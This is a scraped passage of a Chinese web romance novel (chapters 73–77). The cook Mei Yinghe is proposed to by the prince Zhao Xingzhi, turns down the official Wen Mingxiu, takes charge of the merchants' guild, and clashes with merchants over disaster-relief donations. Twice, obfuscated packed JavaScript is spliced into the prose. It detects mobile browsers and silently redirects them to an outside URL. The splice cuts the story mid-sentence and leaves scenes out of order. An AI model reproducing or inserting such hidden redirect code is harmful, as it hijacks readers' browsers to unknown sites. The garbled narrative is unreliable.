“这里是我那一次被人追杀无意中踏入之地。”赵行之在她身边,二人坐在石崖之上,吹着清凉的山峰,他的声音飘荡在耳边: “小早,别去为旁人烦心了。”他幽幽开口,“我已向老师提亲了。” 梅映禾:…… 一记惊雷在头顶炸裂,梅映禾觉得自己好像听错了。 看着她惊愕的表情,赵行之忍不住笑了,伸出手去帮她扶住了被风吹乱的鬓边发丝,那柔软的触感正如他此刻的心: “嫁给我吧,我会让你一辈子随心所欲无忧无虑的。” 梅映禾:…… 有一种插翅难逃的感觉。 浪漫?惊喜?没觉得,只觉得——尴尬。 没有铺垫的吗,没有暗示的吗,就这么直愣愣地……求亲吗。 “七哥,我……” “今日是我生辰,听我的。” 梅映禾沉默,倏然又觉得不对,被他带偏了。 这叫什么,仗生辰行不轨吗。 “不对,七哥,我……” “别叫我七哥,我不是你哥哥,也不想做你哥哥。”赵行之又一次截住了她的话,那双深邃幽黑的双眸将她看在眼里,“你回去慢慢想,我等你。今日就好好陪我走一走吧。” 到嘴边的话又咽了回去,梅映禾被他拉着站起身往山下走去。 沿途正赶上落日,凉风习习,看着苍山翠岭间那一轮红红的小圆一点一点落下,天边晚霞尽褪,变成了清浅的蓝色,点点星光越来越亮。 这个过程很美好,让人挪不开眼,好像经历了重要的时刻,想要将它刻在脑中。 “我们去哪里。” 梅映禾觉得赵行之带他走的路不是方才来时的路,很疑惑。 他笑而不语,只更加握紧了她的手。 这一刻,小早的手被他拉着,她就在他身边,这辈子也会待在他边。 大约又走了一段,梅映禾也不知路途有多长方向为几何,只听他说: “快看。” 顺着他手指的方向看过去,刚好一道流星划过天际,长长的拖尾是它的轨迹,那道亮光在墨色的天空延续了很久很久。 梅映禾也看了很久很久。 亮光还未尽数消失,又一道流星划过,紧跟着便是第三个第四个……无数流星在天边滑行,仿佛璀璨的烟花。 “流星雨。” 她终于看到了上一世就只闻其名未曾得见的奇景。 “我特意问了钦天监,说是天有异象,会有星群陨落。” 赵行之感慨,“竟不知如此美。” “七哥快许愿。”梅映禾赶紧拉着他的衣襟催促,“对着流星许愿一定会实现。” 这可是流星雨,一群流星啊。 “愿此生与小早相爱白首,不离不弃。” 梅映禾还未来得及阻止,赵行之的愿望已然宣之于口。 温热的唇覆在她的唇上,轻触即离。 之后那双温柔的眼睛又看着她,“你也许这个愿望吧,我们一起。” 梅映禾:…… 实在是有点过分了。 “小早,我不急。”他又开口,好似在跟她说,也好似在跟自己说,“等你一辈子我都愿意。” 74. 嫁给我 星空璀璨,夜风习习,迎面扑来的空气中还夹杂着百花和野草的混香,使人不饮自醉。 梅映禾觉得脑袋不怎么清醒了,也不知是那突如其来的亲吻,还是这夜色实在撩人,总觉得脑袋里乱七八糟,想理却理不清楚,使不上劲,连带着手脚也不听使唤了。 就这样被他拉着走,不用去想方向和路径,不用去管周围环境如何,甚至可以闭着眼都不会摔跤…… 踏实,安心的感觉,久违了的感觉。 梅映禾虽浑沌却觉得很舒服,原来有人护着不用思考是这般感觉啊,真好。 两世的梅映禾都是忙忙碌碌急匆匆的人生,都与父母缘浅。 上一世的她是个孤儿,从记事起就没见过亲生父母,在孤儿院长大上学,后来成了厨子遇见了师父,从此她的人生就在不停地练习、进步、比赛、拿奖中度过,从未闲下来一刻,因为闲下来也无事可做。 大家都叫她拼命三娘,说她功利心重,为了拿奖为了荣誉豁出去性命。 只有她自己知道,除了研究厨艺参加比赛之外,她不知道自己还能做什么。 直到三十多岁身死,也是死在了比赛现场。 算是另一种意义上的寿终正寝吧,梅映禾想。 至于谈恋爱,那更是奢望。 她没有机会也没有时间认识男人,每日打交道的只有不拘小节称兄道弟的厨子们,丝毫让她提不起对男人的兴趣。 就这样死了,想想是挺可惜的。 可是重生一世,她又过上了忙碌不知疲倦的生活,并且,还将这样俊俏的男人和美好的姻缘拒之门外,真是活该。 梅映禾有些懊恼,方才那种一触即离的感觉虽然短暂却让她印象深刻。 他的唇柔软温热,梅映禾甚至能感觉到他唇边一整日窜出来的胡茬,硬硬小小的,有些痒。 那痒感却留存到现在,仍旧撩拨着她的心。 怎么办,梅映禾脑子里只有这句话,可是没力气想,大脑转不动,根本想不明白。 二人沉默地走着,赵行之方才也是鼓足了勇气才浅浅地吻了一下。 她是香香软软的,像水,像天上的云彩。 赵行之转头看她,小早的脸红红的,连着耳朵脖子的也是红红的,她低着头不看他。 小早害羞了。 小早没生气。 哈,赵行之觉得很开怀。 “我小的时候就喜欢看星星。”他先开口,努力搜肠刮肚找到了话题,生怕她会羞恼,怕她再也不理他。 “宫里有一处高台,是钦天监用来观天象的,我便经常登高。”他声音幽幽却很清朗,“但是每次都只能悄悄溜上去,看不到半个时辰便会被人发现,然后母后便会亲自来哄我走下来。” 梅映禾的思绪跟着他的话语,暂时忘记了方才的不安和窘迫。 “那高台是铁架,悬空的阶梯间隔很大,母后是怕我一不留神掉下去,所以每次都十分温柔和蔼地慢慢劝说,循循善诱,甚至许下诱惑,直到我双脚稳当落地后,她才会满眼含泪面露怒色,恨不能亲手打我一顿。” 每当想起这些,赵行之心里总是柔软的。 “只可惜母亲身体不好,去得太早了。” 他们都是早早失去母亲的孩子,没有人庇佑靠着自己一个人坚强走过来的孩子。 “自从皇兄继位,我们兄弟的感情就变了。”他没有停下来的意思,梅映禾就静静地听着。 “幼时的一切恍然如梦,皇兄忌惮我,皇嫂珍视大皇子的未来,多次派人追杀我。” 这些话从他口中说出,仿佛在讲今晚的流星雨很好看,这样稀松平常的话语。 他的音调没有一丝波澜,梅映禾亦是没有听出任何情绪的波动,他很平静,非常平静。 “七哥。”她开口,却不知该如何宽慰他。 “你不用安慰我。”赵行之嘴角弯起,笑得很好看,“都过去了,早就习以为常了。” 梅映禾抬起头看向他的眼睛,没有泪光只有笑意。 被自己的亲兄嫂追杀,这些年无休止地猜忌和试探,他过得是什么日子啊。 他究竟是如何挺过来的,现在说起这些竟能如此云淡风轻,丝毫没有悲伤、难过和愤恨。 都释怀了吗,还是,已经不在意了。 “七哥。”梅映禾问,“你的厌食症也是因此而起吗。” 赵行之没想到她能问这个,到底是小早啊,他笑了,点了点头。 “但是现在已经全好了。”他说。 是啊,都好了,都不在意了。 “因为你。” 他的声音很轻,三个字被风吹散,梅映禾却听得真切。 那一瞬心里生出一种暖暖的感觉,想要张开双臂拥抱他,安抚他。 “天色已晚,我送你回去。”二人已走至马车前,赵行之伸出手扶着她上车。 梅映禾站在车上转身看着他,居高临下,“我给七哥做碗长寿面吧。” 小娘子身材娇小,极少有这种高高在上的视角,她那莹白的面庞在月色下更显温柔可爱。 “好。”赵行之笑得眉眼弯弯,心里很甜。 长寿面是梅映禾亲手和面擀制而成,一根长长的面条盘在碗里,高汤煮好又加了两个蛋,端到赵行之面前的时候,他简直要咽口水了。 “你也没吃饭呢。”赵行之看她。 “我还有……” “一起吃。” 梅映禾的话还没说完,赵行之已经用筷箸挑起面条的一端递给她。 梅映禾:…… 什么意思,两个人吃一根面吗。 此刻她脑中竟然出现了前世看到过有小情侣共吃一根薯条的场景,好甜啊。 鬼使神差地坐下,接过筷箸,梅映禾愣愣地看着他。 果然,赵行之也挑出另一头面条,笑嘻嘻地看过来,“试试吧,我还没试过呢。” 她也没试过,其实,心里还挺想试试的。 “可是……” 这样不妥当啊,怎么就这么随了他的意,让他一而再再而三地得寸进尺了呢。 “不行。”梅映禾想放下筷箸,却被赵行之按住。 那张俊逸绝色的脸上露出些许哀戚,“今日是我生辰,你就当可怜可怜我,就当是送我的生辰礼物可好。” 梅映禾:…… 又来这一套。 “求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的吻不似方才那一下的谨慎、小心翼翼,多了几分霸道和难以掩饰的欲望。 宽大温热的手掌抵住她的后腰,一掌便可将她稳稳托住。 由掌心传来的热度蔓延至全身,他的索取越来越张扬,让她脑中充血呼吸不畅。 除了在战场上,赵行之从未有过这种想要肆意掠夺的欲念,可是他仍在努力克制自己,面前的人是小早,是他放在心里想要小心呵护的人,不能,别吓着她。 终于,片刻后,赵行之勉强按下心中的火热,慢慢放开了她。 莹白的小脸变得通红,朱唇更是被他吻得犹如滴血,她湿漉漉的双目忐忑不安地看着他,慌张又羞恼地整理自己的鬓发衣裙。 “对不起,是我太冲动了。”赵行之上前按住她忙碌的双手,“但是我的心意日月可鉴,早儿,嫁给我,此生我赵行之非你不娶。” 他的一只手松开,探入衣里拿出一枚喜上眉梢的玉佩,红色的络子打得格外精致,一看便知是女子精巧的手工。 “这玉佩是母亲留下的。”他将玉佩放入梅映禾掌心,攥紧,“是留给她未来儿媳的。” 梅映禾的脑子里嗡嗡直响,理智告诉她要慎重不能收,可是那温润的玉佩就在她手中,让她难以拒绝。 真的想拒绝吗,还是因为害怕而觉得应该拒绝。 梅映禾想不明白,今日怕是想不清楚的,那就等睡醒吧,睡醒了脑子就灵了,就能想清楚了。 75. 晚了一步 夏日燥热却也仿佛过得挺快,一日复一日的忙碌淹没了那一晚的忐忑不安。 梅映禾忙上了学班的事宜,因准备仓促来不及新建学宫,便不能像科举学子一般日日到学堂念书学习甚至生活在一起,好在都是需要实操练习的技术活儿,便分派给各家商户,这样无论是厨子还是跑堂,亦或是管事、面点甚至女红、针织等,每个学班的学生都能就地参与实操,倒是方便许多。 只是苦了始作俑者的梅小娘子,每日顶着烈日不辞辛苦地东奔西走,每处学班都要亲自看一看才能放心。 好在学班的课程进行得十分顺利,学生们学得认真,讲师们授课也十分严格正规,半个多月下来,像跑堂、算账这样的技能学班业已结业,学生们也基本都被商户选走上岗,拿上了月俸很是开心。 梅映禾很欣慰,打算开办第二批学班,只是又有些日子没见到文大人了。 回到云来酒楼,梅映禾卸下一身疲惫,随手拎起茶壶先给自己猛灌了三大杯茶水,冰凉的苦茶下肚,消解了六成暑热,人也觉得鲜活起来。 “这茶真不错。”梅映禾斜靠在柜台旁,看着店里满满当当的食客,心里很舒畅。 小梅坐在柜台后算账,抬起眼皮看她一眼,“说得好像你没喝过一样,这不就是文大人送你的茶叶吗,他老家寄过来的。” 梅映禾一愣,手中的茶盏顿了一下,十分郑重地举到唇边,仔细闻了闻,又细细品了品,这才笑道:“我说呢,熟悉的味道。” 小梅幽幽道:“那也应当饮水思源吧。” 什么意思,梅映禾不明白。 看着自家小姑子这样不开窍,小梅也是十分无语,人家魏小娘子每日痴缠着文明修大人,走一步跟一步,生怕被人抢走了,可小早倒好,好似完全不放在心上。 “我说,你是不是对文大人丝毫没有那方面的意思。”小梅趴在柜台上,撑起上半身靠近她,“话也跟你说了一箩筐了,我瞧着你却总是这般毫不在意。” 梅映禾失笑,“嫂嫂怎么成了亲好像变了一个人,喝个茶也能扯到那上头。” 看来是真的没戏了,小梅无奈地摇了摇头,这种事当真是勉强不得,就像当初她看中梅九畴一样。 那时候梅家兄妹是全村最穷的,梅九畴为了给妹妹弄口吃的甚至打起了歪主意,但是小梅就是喜欢他,说不出来为什么,任凭谁笑话她,她仍旧不改初心,越看越喜欢。 到如今再看,其实自己还是很有几分眼光的。 只可惜这位小姑子不买账,小梅也不再多说,叹气道:“即便不是那个意思,文大人病了这些日子,你也该去瞧瞧吧。” “啊。”梅映禾这才反应过来,“我说他怎么有阵子没来了,病得严重吗。” 小梅摇头,“不知道,只听说高热不退,连官署那边都告了假,这么一个废寝忘食的人竟然也能告假,想来是病得不轻。” 这下真的坐不住了,搁下茶盏便要去库房,“我去寻些人参,再带些滋补的药去瞧瞧。” 文明修躺在床上连打了几个喷嚏,对着举着药碗的魏默弱弱道:“魏娘子也去歇息吧,我这里好多了。” 魏默照顾他有些日子了,如今文明修对人家的态度也完全不似先前的冷漠严厉,多了几分柔情和真诚。 “好,我也的确累了,你喝了药我便回家去,睡个觉换身衣裳,晚间再过来看你。” 魏默是个不拘谨的性子,直来直去,看着文明修日渐好转,心里的开心直接挂在脸上。 文明修望着那张虽有些憔悴却依旧笑得灿烂明媚的脸,撑着坐起身接过药碗一饮而尽。 魏默这才帮他重新躺下,又将屋内收拾整理了一番,这才依依不舍地离去。 睡梦中有人推门而入坐在了床边,文明修还以为是去而复返的魏默,也不睁眼,含混道:“魏娘子怎么又回来了。” 梅映禾放下手中的补药和人参,先是一愣随即笑了笑,也不说话默默坐在旁边的圆凳上看着他。 听着没什么动静,文明修这才睁开眼,“小早。” 那张原本因发热而微微发红的脸这下红得更厉害了。 他想起身,被梅映禾忙拦住,“你躺着说话,实在抱歉,这几日太忙了都不知晓大人你生病了,到今日才来探望。” 文明修还是靠坐起来,“是我不好意思,一下子病倒把一摊子事都丢给了你,不知学班情况如何。” 梅映禾赶紧告诉他学班的情况,以及第一批已经入岗的学生们的情况。 “据东家和掌柜们的反映,学生们都学得很好上手很快,都是夸赞大人尽可放心,我还想举办第二批学班呢。” 文明修抚掌,很是激动,“好好,我也正有此意。” 说完又意味深长地看着梅映禾,酝酿了半晌还是艰难开口道:“小早,其实你做商总再合适不过了,这样也能更好地完成你的理想,你瞧,这些事里里外外全是你张罗,大家也都十分信服你,再不是那个初出茅庐的小丫头了,为何要推辞呢。” 这不知道是他第几次向梅映禾提及做商总的事了,梅映禾这次一反常态地默默听着,文明修说的话还是那些,可是她心里却想起了前不久赵行之对她说的话: “只有你自己掌握了一定的权力和资源,站到了一定高度上,才能保证你的想法计划在实施的时候不走形不变样,才能真的造福百姓。” 正是这句话,当时便触动了她。 这一次梅映禾没有推辞,答应了文明修的提议,文明修高兴得险些从床上蹦起来。 他没想到小早竟能被自己说服,一时激动身上的病也全然无觉,文明修的脸涨得通红,拉着梅映禾的手迫切地问: “小早,其实我一直觉得你很好,趁着今日高兴我便把心里话说给你听,我十分在意你,想看到你,是日日都能看到你,我长这么大从未对小娘子动过心,你是第一个也是唯一一个,小早,我……” 他看上去十分激动,有些语无伦次,不知又想起了什么,赶紧紧张地解释:“魏默,魏娘子是对我有几分意思,可是我无意于她,只将她当成是一个好友,熟人,或者妹妹一样,并未有过任何其他想法,小早,我其实对你……” 梅映禾实在插不上嘴,只能冒犯地打断他,“文大人,你,你先别激动,你的意思我都明白,可是……” 原本不该在人家生病的时候说出让人心里不舒服的 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当晚她睡得很香甜,至于赵行之的话她并未想得明白。 梅映禾回忆着,直到第二日一早,她起床后便看到了正在吃早食的义父。 “快来,这是义父按照你教的方法亲手做的馄饨。”许且脸上满是骄傲,“快来尝尝好不好吃。” “天呐,义父竟然也会做馄饨了。”梅映禾迫不及待地吃了一口,“好吃,非常好吃,简直比我做得还好吃。” 许且十分得意,看着她道:“人都会变的,而且同自己喜欢的人在一起是会越变越好的。云策都同我说了,小早啊,你应当答应他。” 这话说得有些突兀,可是梅映禾也不是全然没有心理准备,默默吃着馄饨听义父说理由: “义父觉得你应该答应,因为没有什么理由不答应。就像做生意,你也是尝试来的,不走出去这一步怎么知道好不好呢。” 这话让梅映禾想起了自己一路而来的经历,都是自己努力得来的,但是似乎一切冥冥之中都有安排。 赵行之很好,没有什么不好,善良、体贴,对她好,对穷苦的百姓也好,他是个皇子却没有架子,他成熟稳重……还有一点浪漫…… 想起这些,小早的脸上露出从未有过的羞涩和甜蜜,后头的话她没有继续说,可是文明修却已然死心了。 原来这都是命,自己终究还是晚了一步。 晚一步认识她,晚一步同她表白,什么都晚了一步。 “我……我……” 文明修还想说什么,被梅映禾打断,“我带了滋补的汤水,大人喝了赶紧休息吧,我就不打扰了,学班的新进展我会定期过来向大人汇报的。” 梅映禾起身,郑重地向文明修行礼,“多谢大人的提携,梅映禾一路走来不会忘记大人的恩情,日后也一定如从前那般对待大人,还请大人莫要与我生分了才好,咱们是一辈子的友情。” 她走了,小早走了,文明修心里反复琢磨着她的话,“一辈子的友情”,多好啊,只要小早能好,他愿意同她做一辈子的朋友,看着她永远开心快乐地走下去。 76. 我想你了 梅映禾终于接下了商总的担子,这让文明修很激动。 按照小早的要求,授牌仪式举办得很低调,文明修亲自宣读了官府的文书,授予小早商总的牌匾后,按照仪程他还需要讲两句话,以示对梅映禾这位新商总的支持和鼓励。 可是当她站在身边的时候,状元出身出口成章的文明修竟一句话都说不出来。 梅映禾今日特意着重打扮得老成稳重了许多,翠色的上衣墨绿色的裙子,仅戴了一对翡翠耳坠,发髻上亦是简单大方的翡翠发簪,再无其他饰品,丝毫与奢华不沾边却显得整个人如雨后倾注一般挺拔葱绒,清爽干练。 完全不似平日里那个活泼可爱的小娘子,倒是多了几分承担大任的样子。 小早真的长大了。 越看越觉得好看,文明修觉得自己的耳根又开始发热了,遂只能低头装作思索腹稿的样子遮掩过去。 片刻后他重新抬头看着面前的小早,文明修只说了一句:“谢谢。” 终究是谢什么,文明修自己也说不清楚,或许是谢她愿意担上这个担子替他分忧同他并肩作战。 或者是谢她在他说了那些表白的话之后,仍旧愿意同他做朋友,不计前嫌甚至他们的关系丝毫不受影响。 又或者是还有其他什么样的想法,文明修使劲摈弃脑中不合时宜的杂念,开口道:“从今往后只要你需要,我便全力以赴支持你。” 这是一句模棱两可的话,但却是他的心里话,终于说出来了,文明修如释重负。 梅映禾笑着行礼,“多谢大人。” 一句多谢让梅映禾从此变得更加忙碌起来。 正值大暑,天气燥热,各家店铺门可罗雀。 街面上没人,生意也黯淡了下来,可因为多地频发水灾旱灾,导致京城的菜价一提再提,本来就是盛夏淡季,菜价又涨了,来吃饭买东西的人就更少了,商户们苦不堪言。 梅映禾写了几份活动的方案,什么冰饮节、烤串儿节、盛夏纳凉宴等,将一个多月都占满了,每日从傍晚开始便会上演各种各样的新花样,纷繁热闹的表演,异彩纷呈的杂耍,还有高鼻子蓝眼睛的胡姬歌舞,其间还夹杂着商铺们的美食、手作、刺绣,还有年节才能看到的糖人、剪纸等,热闹非凡。 这个法子果然奏效,每日太阳将要落山的时候,原本冷清的街面上便会聚集了来游玩的人群,有吃冰消暑的,有带着孩子游玩的,也有带着自家娘子出来消解晚食的。 人多了银子自然就来了,这一个多月梅映禾忙得飞起,整个人都瘦了一圈,但是好在效果还是很显著的,大家赚了人气也赚了银子,同往年相比好得太多了。 梅商总又出了名儿了,如今走到哪里都有人主动打招呼张罗: “梅东家,进来吃完冰粉解解暑吧。” “商总快尝尝我家新推出的梅子酒,冰过的,很甜。” “小早快来,给你留了位子,今日的炙肉新鲜得很。” …… 大家的热情和喜庆梅映禾看在眼里,做生意赚钱不容易,大家能把生意做好她打心里高兴,这样的话,该出力的时候自然也义不容辞。 一路走来也吃了个七七八八,摸了摸圆滚滚的肚子,梅映禾心满意足。 “好几日不曾见你,每日就这般凑着吃晚食吗。” 身后熟悉的声音传来,赵行之看上去很不高兴。 “七……” 梅映禾的话还未出口,赵行之凌厉的眼神已经看向了她。 他说过不让她再叫七哥。 “不叫七哥叫什么。”梅映禾斜着眼嗔怪,“都叫了那么久了,一时改不过来。” 落日下,小娘子红扑扑的小脸露出不悦,赵行之立马软了下来。 “随你吧,爱叫什么叫什么。”他拉着她上车,捧出一碗冰糖燕窝,“这是府里刚炖好的,我赶着给你送来,快喝吧。” 浓稠的燕窝已经半凉,上头飘着一层她最喜欢的桂花碎,梅映禾接过放入口中。 甜蜜黏稠的口感瞬间化开,香甜的气息盈满口腔。 “真好吃。”她一口接着一口,吃得十分香甜。 赵行之好整以暇地看着她吃,嘴角压不住地翘起,看到她唇边的黏汁便伸出手去帮她抹掉: “吃慢些,你得好好歇歇。” 自从做了商总,他和小早要好几日才能见上一面,不是她忙着在各处筹备活动,就是赵行之被留宿宫中彻夜商讨国事。 如今叛乱已被平定,最棘手的还是各地的灾情。 看着赵行之眼底的乌青,梅映禾将一勺燕窝喂到他嘴边:“七哥是不是最近都没怎么睡觉。” “灾情太严重了,国库空虚。”赵行之什么事也不瞒着她,小早都能听得懂,有时候还能给他建议呢,这让赵行之觉得很解压也很骄傲。 “缺多少银子。”梅映禾又喂上一口。 “五万两。”赵行之顿了一下,“虽说国库不足可是还是有法子的,军费那边并不十分紧急,可以挪过来救急。” 他是怕她操心。 梅映禾点头,盘算了一下,五万两银子着实不少,恐怕就是挪用军费也难解决困境,于救灾而言又是一刻都等不得的。 这样的巨款的确让人犯难,梅映禾看着面前的赵行之,最近他消瘦了许多,也憔悴了许多。 “其实我手里还有些银子,七哥若是需要尽可拿去……” 赵行之摆手,推拒了她递过来的燕窝,“你自己吃,银子我这里有,不需你操心。” 梅映禾便不多说,笑了笑继续吃燕窝。 他是个骄傲的人,不会要的。 下一瞬赵行之的脸凑了过来,浓密的睫毛轻眨,高耸的鼻子近在咫尺,梅映禾从那双澄澈幽黑的瞳仁中看到了自己惊慌羞涩的脸。 “早儿,这是心疼我了。” 他声音不似寻常清澈,多了一份缱绻沙哑的感觉。 不等她开口应答,赵行之又凑近了些,温热的双唇在她粉若桃花的面颊上轻点了一下。 梅映禾惊惧,还未反应过来,手里的燕窝已经被他夺走,整个人被他抱入怀中。 坚硬厚实的胸膛,有力的臂膀,温暖的怀抱,瞬间卸下了她连日来的疲惫,梅映禾有那么一瞬间的错愕,随即将脸贴在他的胸前,发散了全身的力气。 就这样被抱着,什么都不用想,多好啊。 怀里的小娘子柔柔软软的,让赵行之觉得很温暖,他的小早啊,从不假作矜持,她认可了他便不再扭扭捏捏,每次想抱她的时候,小早总会回应他同样的 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梅映禾点头,皇后娘娘的生辰宴陛下点了她的名,这还要多谢赵行之的举荐,梅映禾其实已经开始筹划着拉菜单提前准备起来了。 马车停下,赵行之扶着梅映禾的手下车。 当即便被人认出:“梅东家来了,快里边儿请。” 这是一家新开的酒楼,名叫鼎湘苑,味道香辣浓郁很是特别,正合了二人的口味。 饭菜上桌,东家还亲自送来了新酿的甜酒,寒暄客套了一番这才吃上饭。 边吃边聊,说着说着话题便聊到了普济寺的灾民。 听说许多人都加入了学班,并且学了技术也找到了活儿干,赵行之很骄傲:“这事做得太漂亮了,我定然要在皇兄那里帮你记上一笔。” 这个梅映禾倒是无可无不可,“听说最近灾情厉害,不久之后京城里的灾民恐怕又要多了。” 她叹了口气,“即便是学班再多开几轮,也不能解决根本问题。” 所以,她还是想捐款救灾。 赵行之早就猜到了她的想法,“还是让文明修召集大家一起捐助吧,你一个人不好太过出头,况且朝廷于今夏给了商户很多新政,光是今年减免的赋税都足够大家稳赚了,况且你还带着大家一起做活动,今夏着实是丰收的。” 这话不错,梅映禾点头,她便是这般想的,取之于民理应还之于民。 “这事让文明修张罗召集大家,什么时候你定下,到时候我去助你。” 赵行之给她夹菜,堆了满满一小碗。 梅映禾失笑:“七哥是要带着兵去吗。” 赵行之一瞪眼,“有何不可,虽说大家现在都很和善,可是那些老狐狸绝不是善茬,想让他们乖乖掏银子救灾,光靠好言好语恐怕是做不到的。” “那,这不是明抢吗。”梅映禾摇头,“不行不行,这件事本就是全凭自愿,我不想强迫,愿意出资出力的我欢迎,不愿意的自然也可以。” “那多不公平。” “那就在其他方面给予出资的商户多一些奖励和新政的倾斜,自然不能一视同仁吧,能让大家得到更大的实惠,来年还能愿意掏银子。” 她想得很美好,可还是太过乐观了。 77. 气哭了 天气炎热,活动的热情却不减反增。 一个月后,文明修召集各商户东家齐聚一堂,这是一场庆功宴,大家都十分高兴,今夏的收益比往年翻了三倍,有做得更好的甚至翻了五倍之多。 大家坐在一起或彼此吹嘘奉承,或夸赞今夏的这场活动做得好做得妙,还饮水不忘掘井人,将梅映禾和文明修捧得极高,赞誉之词不绝于耳。 梅映禾笑嘻嘻的受了,若在平时她定是要推辞一番的,但是今日她只能坦然受了。 此时他们越是吹捧她夸赞她,一会儿捐助的时候越是说不出话来。 这招是文明修想出来的,彼时梅映禾还十分不理解。 “不至于吧,平素大家相处都很融洽坦诚。” 文明修摇头,“小早涉世尚浅,你只管听我的便是。” 梅映禾保留了意见。 眼下越看越觉得像鸿门宴,脸上挂着笑,心里开始不自在起来。 看着她如坐针毡的窘迫模样,文明修端起茶盏轻轻碰了一下梅映禾捏在手中几乎要捏碎的杯盏,面上露出一个安抚的笑容。 这是在安慰她,也是告诉她,他要开始了。 “今夏的活动很成功,离不开诸位的捧场。” 文明修起身开口,热络聊天的屋子瞬时安静下来。 梅映禾看过去,每个人脸上都带着温馨的笑容。 “我们要感谢梅商总给大家带来的精彩和利益,也要感谢朝廷的支持和关怀。”他朝天做了个抱拳的动作,“更要感谢百姓们给予的热情和银子。” 这话总算点到了重点,梅映禾也不晓得自己究竟在紧张什么,或许是被文明修和赵行之的话吓到了,她觉得大家都赚钱了,捐款既是善举又是回馈,有何难的。 “时下多地遭受旱灾水灾,大家也都看到了,许多百姓流离失所一路逃荒到了京城,现在京城里随处可见灾民,还有普济寺,更是人满为患。” 文明修说到动情之处声音哽咽,“真的太可怜了,大家都是大隶的子民,很多人都经历过老家的灾荒,咱们今年的日子好过了,我想,大家都出点力,拿出钱财来赈灾救济,也算是对于朝廷、对于百姓们的回馈。” 掷地有声,屋内鸦雀无声。 原本火热喜庆的气氛瞬间降至冰点,无一人发言。 梅映禾看过去,每个人都垂着头,有人老神在在恍若未闻,有人垂眸闭目看上去像是睡着了,还有人细细品茶,也有人同身侧的交流,却不知在交流什么。 总之,文明修的话掉地上了。 果然,梅映禾想,还是自己太稚嫩了,将这些商贾东家们想得太好了。 自然,也有几双眼睛看向她,梅映禾明白这眼神之后的含义,遂起身道: “文大人说得没错,我梅映禾首当其冲,捐助黄金一百两,白银一万两。” 一言既出场内仍鸦雀无声,但是却多了许多双眼睛看向她。 有敬佩的有和善的,也有意味不明嫌弃的,梅映禾都看在眼里。 “沈记同梅商总一样,黄金百两,白银万两。” “百味坊也随梅东家,咱们店小能力有限,就白银五千两,黄金百两。” “荟萃楼黄金千两,白银两万两。” 众人一片哗然,但是荟萃楼是有官府背景的,据说其东家身份极其神秘,所以出资多也是理所当然。 陆续又有人站出来捐银子,但是等所有人都报完,文明修记录的册子上不过十二家,加起来黄金两千三百两,白银一共八万两。 虽说杯水车薪却也是大家的心意。 那么还有四十余家商户又都是什么打算呢。 文明修和梅映禾对视一眼,文明修再次起身问话:“不知道其他的东家们作何考虑,是想回去商议后再定吗。” 话被问到脸上毕竟是不光彩的,下头有人也不起身直接喊话:“这样的捐资分明就是让咱们拿银子,最后在陛下面前得脸的却是你文大人和梅商总,这叫借花献佛。” 这话说得太不客气,当即就有人站起身驳斥:“文大人和梅商总从前就经常帮大家想办法赚银子,那时候梅商总也不是什么商总,说话要凭良心。” “你怎知她那时不是在为今日铺垫。” 不讲道理了,岂有此理。 眼看着要吵起来,梅映禾起身制止道:“我梅映禾不在乎商总的名号,但是我想让大家赚到钱,自始至终我都是这么做的,既然有人质疑,往后大可以不参与便是。” 那人终于不吭声了。 “我从小生长在梅花村,曾经遭受过水灾,爹娘葬身灾害,我是经历过那种痛楚的人,所以想尽自己的能力帮助正在受苦的同胞,若是大家非要曲解,我也不想反驳,觉得我梅映禾此举另有所图的尽可离开。” 小早生气了。 文明修坐得距离她最近,看到了那殷红的眼圈和掐入掌心的指甲。 “早儿,喝点茶水。”文明修安抚她。 梅映禾默默点了点头,借着喝茶的动作遮住了自己的委屈。 她是真没想到,竟有人如此大的恶意揣测至此,太寒心了。 大家同处一室,自然有人看到了梅映禾的窘迫,也觉得方才的话实在太过分了,便起身拱手道:“其实并不是大家不愿捐资,只是这样的灾害每年都有,若是自此养成习惯,每年都理所应当由咱们捐助,那这往后谁受得了,一次两次便罢,长此以往我们的钱赚得也不容易。” “咱们的钱赚得再不容易也比普通百姓容易得多。”梅映禾愤愤道,“是,大家赚得都是辛苦钱,可是朝廷发了恩旨,减免了赋税,还给我们这么多新政扶持。那些整日在地里劳作的人,他们没有机会和这么好的命,难道他们不辛苦吗,京城离天家近,自然得到的也多,回馈于民就这么难吗。” 到底是年轻的小娘子,面皮薄,梅映禾抬手擦掉了腮边的泪珠,“我和文大人此举毫无半分私心,若是有人质疑尽可查账,至于愿意捐助多少大家自便,只是自此之后我们也会如实上报,下一次的新政和优厚的待遇恐怕就是按需分配了,各位自便。” 真是懒得废话了,一群人揣着明白装糊涂,讲不通也不想讲了。 “欸,这叫什么话。” 有人借机发挥了,“大家都是商户,凭什么给予新政和优待还要厚此薄彼,分明就是有内幕,不公平。” “就是,纳税我们一分不少,凭什么不捐资就不给政策。” “税收已经减免了,少拿税收说事,朝廷给了优待就应该回馈,不回馈也想占便宜,没门。” …… 吵吵嚷嚷的争执瞬间变成了针锋相对的谩骂,甚至还有人撸起了袖子。 文明修制止不住,敲的镇纸都快破掉了也无济于事。 看着眼前这群人,梅映禾叹息,都说商贾之人唯利是图,她原先觉得那是世人的偏见,如今看来,也是难怪有人有偏见。 赚银子了就想赚更多,越多就越舍不得掏出来。 这些人的思想什么时候能够变一变,欸,看来是难了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873399|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “梅商总。”有人指着梅映禾怒气冲冲,“方才那话你是在威胁咱们吗。” “对,得把话讲清楚,为何不能一视同仁。” “所以说这其中猫腻多着呢,看似帮咱们谋福利,实则……欸,还不是拿咱们当垫背的,这哪里还有公平可言。” …… 颠倒黑白,信口雌黄,梅映禾气得直掉眼泪,胸口因憋闷剧烈地起伏着。 